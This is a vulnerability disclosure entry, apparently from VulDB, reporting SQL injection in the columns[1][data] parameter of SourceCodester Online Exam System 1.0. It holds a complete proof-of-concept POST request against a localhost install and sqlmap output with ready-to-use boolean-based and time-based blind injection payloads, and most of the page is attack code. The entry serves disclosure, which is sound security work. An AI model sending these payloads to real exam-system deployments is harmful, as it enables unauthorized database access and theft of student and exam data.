Submit #156037: SQL injection in POST data ci_exam/kelas/data in Online Exam System 1.0

Vuln Name: SQL injection
Parameter: columns[1][data]
Product: Online Examination System
Version: 1
Poc Image: https://github.com/tht1997/CVE_2023/blob/main/Lost%20and%20Found%20Information%20System/img/kelas_data.png

Request:
POST /ci_exam/kelas/data HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1037
Origin: http://localhost
Connection: close
Referer: http://localhost/ci_exam/kelas
Cookie: remember_me_name=bMGFrQaFzDhuoLmztZCT; remember_me_pwd=YMSm3Q2wFDHaHLQ5eZPKc42oU7CaK8IlA%40q1; remember_me_lang=en; Hm_lvt_c790ac2bdc2f385757ecd0183206108d=1680329430; Hm_lvt_5320b69f4f1caa9328dfada73c8e6a75=1680329567; PowerBB_username=xss; PowerBB_password=8879f85d0170cba2a4328bbb5a457c6a; menu_contracted=false; __atuvc=1%7C16; PHPSESSID=cjvq90aj2a5aaq7trm1s90ps9h; csrf_cookie_name=8f7564ca9debf99ecf1e135be7caab6d; ci_session=q5f86btcpi10ffv79gmd9sbqt5ep6qjb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

csrf_test_name=8f7564ca9debf99ecf1e135be7caab6d&draw=1&columns%5B0%5D%5Bdata%5D=id_kelas&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=false&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=nama_kelas&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=nama_jurusan&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=bulk_select&columns%5B3%5D%5Bname%5D=&columns%5B3%5D%5Bsearchable%5D=false&columns%5B3%5D%5Borderable%5D=false&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=asc&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false

sqlmap:
POST parameter 'columns[1][data]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 287 HTTP(s) requests:
---
Parameter: columns[1][data] (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: csrf_test_name=8f7564ca9debf99ecf1e135be7caab6d&draw=1&columns[0][data]=id_kelas&columns[0][name]=&columns[0][searchable]=false&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=(SELECT (CASE WHEN (6364=6364) THEN 0x6e616d615f6b656c6173 ELSE (SELECT 2049 UNION SELECT 5021) END))&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=nama_jurusan&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=bulk_select&columns[3][name]=&columns[3][searchable]=false&columns[3][orderable]=false&columns[3][search][value]=&columns[3][search][regex]=false&order[0][column]=1&order[0][dir]=asc&start=0&length=10&search[value]=&search[regex]=false

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: csrf_test_name=8f7564ca9debf99ecf1e135be7caab6d&draw=1&columns[0][data]=id_kelas&columns[0][name]=&columns[0][searchable]=false&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=nama_kelas AND (SELECT 2442 FROM (SELECT(SLEEP(5)))ETiN)&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=nama_jurusan&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=bulk_select&columns[3][name]=&columns[3][searchable]=false&columns[3][orderable]=false&columns[3][search][value]=&columns[3][search][regex]=false&order[0][column]=1&order[0][dir]=asc&start=0&length=10&search[value]=&search[regex]=false
---

• Quelle: ⚠️ https://www.sourcecodester.com/php-codeigniter-online-exam-system-free-source-code
• Benutzer: huutuanbg97 (UID 45015)
• Einreichung: 13.05.2023 07:47 (vor 3 Jahren)
• Moderieren: 14.05.2023 09:52 (1 day later)
• Status: Akzeptiert
• VulDB Eintrag: 228976 [SourceCodester Online Exam System 1.0 POST Parameter /kelas/data columns[1][data] SQL Injection]
• Punkte: 17